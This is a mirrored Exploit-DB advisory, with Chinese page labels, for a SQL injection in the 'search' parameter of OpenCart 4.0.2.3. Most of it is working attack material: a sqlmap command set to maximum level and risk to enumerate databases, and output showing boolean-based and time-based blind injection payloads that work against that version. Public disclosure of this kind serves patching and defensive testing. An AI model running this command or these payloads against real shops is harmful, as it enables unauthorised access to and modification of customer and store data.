OpenCart Core 4.0.2.3 – ‘search’ SQLi

• Exploit Database
• 124 阅读

• 作者： Saud Alenazi
  日期： 2024-04-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51940/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

  # Exploit Title: OpenCart Core 4.0.2.3 - 'search' SQLi # Date: 2024-04-2 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.opencart.com/ # Software Link: https://github.com/opencart/opencart/releases # Version: 4.0.2.3 # Tested on: XAMPP, Linux # Contact: https://twitter.com/dmaral3noz * Description : Opencart allows SQL Injection via parameter 'search' in /index.php?route=product/search&search=. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. * Steps to Reproduce : - Go to : http://127.0.0.1/index.php?route=product/search&search=test - New Use command Sqlmap : sqlmap -u "http://127.0.0.1/index.php?route=product/search&search=#1" --level=5 --risk=3 -p search --dbs =========== Output : Parameter: search (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: route=product/search&search=') AND 2427=2427-- drCa Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: route=product/search&search=') AND (SELECT 8368 FROM (SELECT(SLEEP(5)))uUDJ)-- Nabb